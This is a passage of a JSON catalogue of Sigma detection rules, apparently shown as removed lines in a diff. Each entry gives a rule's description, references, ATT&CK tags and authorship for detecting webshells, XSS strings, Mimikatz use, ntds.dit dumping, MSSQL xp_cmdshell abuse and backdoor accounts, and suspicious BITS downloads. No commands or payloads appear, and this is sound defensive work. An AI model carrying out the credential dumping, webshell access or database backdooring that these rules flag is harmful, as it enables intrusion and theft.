"Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "User searches in search boxes of the respective website", - "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects known suspicious (default) user-agents related to scanning/recon tools", - "uuid": "19aa4f58-94ca-45ff-bc34-92e533c0994a", - "value": "Suspicious User-Agents Related To Recon Tools", - "meta": { - "refs": [ - "https://github.com/wpscanteam/wpscan/blob/196fbab5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb", - "https://github.com/xmendez/wfuzz/blob/1b695ee9a87d66a7d7bf6cae70d60a33fae51541/docs/user/basicusage.rst", - "https://github.com/lanmaster53/recon-ng/blob/9e907dfe09fce2997f0301d746796408e01a60b7/recon/core/base.py#L92", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_useragents.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2022/07/19", - "filename": "web_susp_useragents.yml", - "author": "Nasreddine Bencherchali, Tim Shelton", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious windows strins in URI which could indicate possible exfiltration or webshell communication", - "uuid": "9f6a34b4-2688-4eb7-a7f5-e39fef573d0e", - "value": "Suspicious Windows Strings In URI", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_windows_path_uri.yml" - ], - "tags": [ - "attack.persistence", - "attack.exfiltration", - "attack.t1505.003" - ], - "creation_date": "2022/06/06", - "filename": "web_susp_windows_path_uri.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate application and websites that use windows paths in their URL" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects access to DEWMODE webshell as described in FIREEYE report", - "uuid": "fdf96c90-42d5-4406-8a9c-14a2c9a016b5", - "value": "DEWMODE Webshell Access", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_unc2546_dewmode_php_webshell.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2021/02/22", - "filename": "web_unc2546_dewmode_php_webshell.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.", - "uuid": "2ea44a60-cfda-11ea-87d0-0242ac130003", - "value": "Webshell ReGeorg Detection Via Web Logs", - "meta": { - "refs": [ - "https://community.rsa.com/community/products/netwitness/blog/2019/02/19/web-shells-and-netwitness-part-3", - "https://github.com/sensepost/reGeorg", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_webshell_regeorg.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2020/08/04", - "filename": "web_webshell_regeorg.yml", - "author": "Cian Heasley", - "level": "high", - "falsepositive": [ - "Web applications that use the same URL parameters as ReGeorg" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects Windows Webshells that use GET requests via access logs", - "uuid": "7ff9db12-1b94-4a79-ba68-a2402c5d6729", - "value": "Windows Webshell Strings", - "meta": { - "refs": [ - "https://bad-jubies.github.io/RCE-NOW-WHAT/", - "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_win_webshells_in_access_logs.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2017/02/19", - "filename": "web_win_webshells_in_access_logs.yml", - "author": "Florian Roth, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Web sites like wikis with articles on os commands and pages that include the os commands in the URLs", - "User searches in search boxes of the respective website" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects XSS attempts injected via GET requests in access logs", - "uuid": "65354b83-a2ea-4ea6-8414-3ab38be0d409", - "value": "Cross Site Scripting Strings", - "meta": { - "refs": [ - "https://github.com/payloadbox/xss-payload-list", - "https://portswigger.net/web-security/cross-site-scripting/contexts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_xss_in_access_logs.yml" - ], - "tags": "No established tags", - "creation_date": "2021/08/15", - "filename": "web_xss_in_access_logs.yml", - "author": "Saw Win Naung, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "JavaScripts,CSS Files and PNG files", - "User searches in search boxes of the respective website", - "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups)", - "uuid": "06d71506-7beb-4f22-8888-e2e5e2ca7fd8", - "value": "Mimikatz Use", - "meta": { - "refs": [ - "https://tools.thehacker.recipes/mimikatz/modules", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/win_alert_mimikatz_keywords.yml" - ], - "tags": [ - "attack.s0002", - "attack.lateral_movement", - "attack.credential_access", - "car.2013-07-001", - "car.2019-04-004", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.001", - "attack.t1003.006" - ], - "creation_date": "2017/01/10", - "filename": "win_alert_mimikatz_keywords.yml", - "author": "Florian Roth (rule), David ANDRE (additional keywords)", - "level": "high", - "falsepositive": [ - "Naughty administrators", - "AV Signature updates", - "Files with Mimikatz in their filename" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited.\nMS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability.\nUnfortunately, that is about the only instance of CVEs being written to this log.\n", - "uuid": "48d91a3a-2363-43ba-a456-ca71ac3da5c2", - "value": "Audit CVE Event", - "meta": { - "refs": [ - "https://twitter.com/VM_vivisector/status/1217190929330655232", - "https://twitter.com/DidierStevens/status/1217533958096924676", - "https://twitter.com/FlemmingRiis/status/1217147415482060800", - "https://www.youtube.com/watch?v=ebmW42YYveI", - "https://nullsec.us/windows-event-log-audit-cve/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_audit_cve.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.privilege_escalation", - "attack.t1068", - "attack.defense_evasion", - "attack.t1211", - "attack.credential_access", - "attack.t1212", - "attack.lateral_movement", - "attack.t1210", - "attack.impact", - "attack.t1499.004" - ], - "creation_date": "2020/01/15", - "filename": "win_audit_cve.yml", - "author": "Florian Roth, Zach Mathis", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This detection method points out highly relevant Antivirus events", - "uuid": "78bc5783-81d9-4d73-ac97-59f6db4f72a8", - "value": "Relevant Anti-Virus Event", - "meta": { - "refs": [ - "https://www.virustotal.com/gui/file/13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31", - "https://www.virustotal.com/gui/file/15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed", - "https://www.virustotal.com/gui/file/5092b2672b4cb87a8dd1c2e6047b487b95995ad8ed5e9fc217f46b8bfb1b8c01", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_av_relevant_match.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1588" - ], - "creation_date": "2017/02/19", - "filename": "win_av_relevant_match.yml", - "author": "Florian Roth, Arnim Rupp", - "level": "high", - "falsepositive": [ - "Some software piracy tools (key generators, cracks) are classified as hack tools" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "An application has been removed. Check if it is critical.", - "uuid": "570ae5ec-33dc-427c-b815-db86228ad43e", - "value": "Application Uninstalled", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_builtin_remove_application.yml" - ], - "tags": [ - "attack.impact", - "attack.t1489" - ], - "creation_date": "2022/01/28", - "filename": "win_builtin_remove_application.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects potential abuse of ntdsutil to dump ntds.dit database", - "uuid": "e6e88853-5f20-4c4a-8d26-cd469fd8d31f", - "value": "Ntdsutil Abuse", - "meta": { - "refs": [ - "https://twitter.com/mgreen27/status/1558223256704122882", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/08/14", - "filename": "win_esent_ntdsutil_abuse.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate backup operation/creating shadow copies" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location", - "uuid": "94dc4390-6b7c-4784-8ffc-335334404650", - "value": "Dump Ntds.dit To Suspicious Location", - "meta": { - "refs": [ - "https://twitter.com/mgreen27/status/1558223256704122882", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse_susp_location.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/08/14", - "filename": "win_esent_ntdsutil_abuse_susp_location.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate backup operation/creating shadow copies" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects MSI package installation from suspicious locations", - "uuid": "c7c8aa1c-5aff-408e-828b-998e3620b341", - "value": "MSI Installation From Suspicious Locations", - "meta": { - "refs": [ - "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_msi_install_from_susp_locations.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/08/31", - "filename": "win_msi_install_from_susp_locations.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Some false positives may occur depending on the environnement" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects installation of a remote msi file from web.", - "uuid": "5594e67a-7f92-4a04-b65d-1a42fd824a60", - "value": "MSI Installation From Web", - "meta": { - "refs": [ - "https://twitter.com/_st0pp3r_/status/1583922009842802689", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_msi_install_from_web.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218", - "attack.t1218.007" - ], - "creation_date": "2022/10/23", - "filename": "win_msi_install_from_web.yml", - "author": "Stamatis Chatzimangou", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role", - "uuid": "08200f85-2678-463e-9c32-88dce2f073d1", - "value": "MSSQL Add Account To Sysadmin Role", - "meta": { - "refs": [ - "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_add_sysadmin_account.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/07/13", - "filename": "win_mssql_add_sysadmin_account.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Rare legitimate administrative activity" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker calls the \"ALTER SERVER AUDIT\" or \"DROP SERVER AUDIT\" transaction in order to delete or disable audit logs on the server", - "uuid": "350dfb37-3706-4cdc-9e2e-5e24bc3a46df", - "value": "MSSQL Disable Audit Settings", - "meta": { - "refs": [ - "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", - "https://docs.microsoft.com/en-us/sql/t-sql/statements/drop-server-audit-transact-sql?view=sql-server-ver16", - "https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-server-audit-transact-sql?view=sql-server-ver16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_disable_audit_settings.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/07/13", - "filename": "win_mssql_disable_audit_settings.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "This event should only fire when an administrator is modifying the audit policy. Which should be a rare occurrence once it's set up" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This rule detects the execution of the extended storage procedure backdoor named Maggie in the context of Microsoft SQL server", - "uuid": "711ab2fe-c9ba-4746-8840-5228a58c3cb8", - "value": "MSSQL Extended Stored Procedure Backdoor Maggie", - "meta": { - "refs": [ - "https://medium.com/@DCSO_CyTec/mssql-meet-maggie-898773df3b01", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_sp_maggie.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546" - ], - "creation_date": "2022/10/09", - "filename": "win_mssql_sp_maggie.yml", - "author": "Denis Szadkowski, DIRT / DCSO CyTec", - "level": "high", - "falsepositive": [ - "Legitimate extended stored procedures named maggie" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects when the a stored procedure is set or cleared for automatic execution in MSSQL. A stored procedure that is set to automatic execution runs every time an instance of SQL Server is started", - "uuid": "b3d57a5c-c92e-4b48-9a79-5f124b7cf964", - "value": "MSSQL SPProcoption Set", - "meta": { - "refs": [ - "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", - "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-procoption-transact-sql?view=sql-server-ver16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_sp_procoption_set.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/07/13", - "filename": "win_mssql_sp_procoption_set.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate use of the feature by administrators (rare)" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure is used to execute commands", - "uuid": "7f103213-a04e-4d59-8261-213dddf22314", - "value": "MSSQL XPCmdshell Suspicious Execution", - "meta": { - "refs": [ - "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_xp_cmdshell_audit_log.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/07/12", - "filename": "win_mssql_xp_cmdshell_audit_log.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure setting is changed", - "uuid": "d08dd86f-681e-4a00-a92c-1db218754417", - "value": "MSSQL XPCmdshell Option Change", - "meta": { - "refs": [ - "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_xp_cmdshell_change.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/07/12", - "filename": "win_mssql_xp_cmdshell_change.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate enable/disable of the setting", - "Note that since the event contain the change for both values. This means that this will trigger on both enable and disable" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Conti operators", - "uuid": "87261fb2-69d0-42fe-b9de-88c6b5f65a43", - "value": "Atera Agent Installation", - "meta": { - "refs": [ - "https://www.advintel.io/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_software_atera_rmm_agent_install.yml" - ], - "tags": [ - "attack.t1219" - ], - "creation_date": "2021/09/01", - "filename": "win_software_atera_rmm_agent_install.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Legitimate Atera agent installation" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects backup catalog deletions", - "uuid": "9703792d-fd9a-456d-a672-ff92efe4806a", - "value": "Backup Catalog Deleted", - "meta": { - "refs": [ - "https://technet.microsoft.com/en-us/library/cc742154(v=ws.11).aspx", - "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_susp_backup_delete.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ], - "creation_date": "2017/05/12", - "filename": "win_susp_backup_delete.yml", - "author": "Florian Roth (rule), Tom U. @c_APT_ure (collection)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This rule detects a suspicious crash of the Microsoft Malware Protection Engine", - "uuid": "6c82cf5c-090d-4d57-9188-533577631108", - "value": "Microsoft Malware Protection Engine Crash", - "meta": { - "refs": [ - "https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5", - "https://technet.microsoft.com/en-us/library/security/4022344", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_susp_msmpeng_crash.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1211", - "attack.t1562.001" - ], - "creation_date": "2017/05/09", - "filename": "win_susp_msmpeng_crash.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "MsMpEng.exe can crash when C:\\ is full" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", - "uuid": "d6266bf5-935e-4661-b477-78772735a7cb", - "value": "CVE-2020-0688 Exploitation via Eventlog", - "meta": { - "refs": [ - "https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/", - "https://cyberpolygon.com/materials/okhota-na-ataki-ms-exchange-chast-2-cve-2020-0688-cve-2020-16875-cve-2021-24085/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_vul_cve_2020_0688.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2020/02/29", - "filename": "win_vul_cve_2020_0688.yml", - "author": "Florian Roth, wagga", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects PoC tool used to exploit LPE vulnerability CVE-2021-41379", - "uuid": "7dbb86de-a0cc-494c-8aa8-b2996c9ef3c8", - "value": "LPE InstallerFileTakeOver PoC CVE-2021-41379", - "meta": { - "refs": [ - "https://github.com/klinix5/InstallerFileTakeOver", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_vul_cve_2021_41379.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/11/22", - "filename": "win_vul_cve_2021_41379.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Other MSI packages for which your admins have used that name" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events.", - "uuid": "401e5d00-b944-11ea-8f9a-00163ecd60ae", - "value": "File Was Not Allowed To Run", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/using-event-viewer-with-applocker", - "https://nxlog.co/documentation/nxlog-user-guide/applocker.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/applocker/win_applocker_file_was_not_allowed_to_run.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002", - "attack.t1059.001", - "attack.t1059.003", - "attack.t1059.005", - "attack.t1059.006", - "attack.t1059.007" - ], - "creation_date": "2020/06/28", - "filename": "win_applocker_file_was_not_allowed_to_run.yml", - "author": "Pushkarev Dmitry", - "level": "medium", - "falsepositive": [ - "Need tuning applocker or add exceptions in SIEM" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", - "uuid": "d635249d-86b5-4dad-a8c7-d7272b788586", - "value": "Suspicious Download with BITS from Suspicious TLD", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://twitter.com/malmoeb/status/1535142803075960832", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_domain.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197" - ], - "creation_date": "2022/06/28", - "filename": "win_bits_client_susp_domain.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", - "uuid": "b85e5894-9b19-4d86-8c87-a2f3b81f0521", - "value": "Suspicious Download File Extension with BITS", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_local_file.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197" - ], - "creation_date": "2022/03/01", - "filename": "win_bits_client_susp_local_file.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Administrator PowerShell scripts" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", - "uuid": "f8a56cb7-a363-44ed-a82f-5926bb44cd05", - "value": "Download with BITS to Suspicious Folder", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_local_folder.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197" - ], - "creation_date": "2022/06/28", - "filename": "win_bits_client_susp_local_folder.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Administrator PowerShell scripts" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", - "uuid": "fe3a2d49-f255-4d10-935c-bda7391108eb", - "value": "Suspicious Task Added by Powershell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_powershell_job.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197" - ], - "creation_date": "2022/03/01", - "filename": "win_bits_client_susp_powershell_job.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Administrator PowerShell scripts" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", - "uuid": "1ff315dc-2a3a-4b71-8dde-873818d25d39", - "value": "Suspicious Task Added by Bitsadmin", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_use_bitsadmin.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197" - ], - "creation_date": "2022/03/01", - "filename": "win_bits_client_susp_use_bitsadmin.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Administrator PowerShell scripts" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", - "uuid": "6d44fb93-e7d2-475c-9d3d-54c9c1e33427", - "value": "Suspicious Download with BITS from Suspicious TLD", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://twitter.com/malmoeb/status/1535142803075960832", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_uncommon_domain.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197" - ], - "creation_date": "2022/06/10", - "filename": "win_bits_client_uncommon_domain.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Other legitimate domains used by software updaters" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects attempted DLL load events that didn't meet anti-malware or Windows signing level requirements. It often means the file's signature is revoked or expired", - "uuid": "f8931561-97f5-4c46-907f-0a4a592e47a7", - "value": "Code Integrity Attempted DLL Load", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1483810148602814466", - "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_attempted_dll_load.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/01/20", - "filename": "win_codeintegrity_attempted_dll_load.yml", - "author": "Florian Roth, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects blocked load attempts of revoked drivers", - "uuid": "9b72b82d-f1c5-4632-b589-187159bc6ec1", - "value": "Block Load Of Revoked Driver", - "meta": { - "refs": [ - "https://twitter.com/wdormann/status/1590434950335320065", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_driver.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543" - ], - "creation_date": "2022/11/10", - "filename": "win_codeintegrity_revoked_driver.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects blocked load events that did not meet the authenticode signing level requirements or violated code integrity policy", - "uuid": "e4be5675-4a53-426a-8c81-a8bb2387e947", - "value": "Code Integrity Blocked Driver Load", - "meta": { - "refs": [ - "https://twitter.com/wdormann/status/1590434950335320065", - "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintergiry_blocked_driver_load.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543" - ], - "creation_date": "2022/11/10", - "filename": "win_codeintergiry_blocked_driver_load.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - 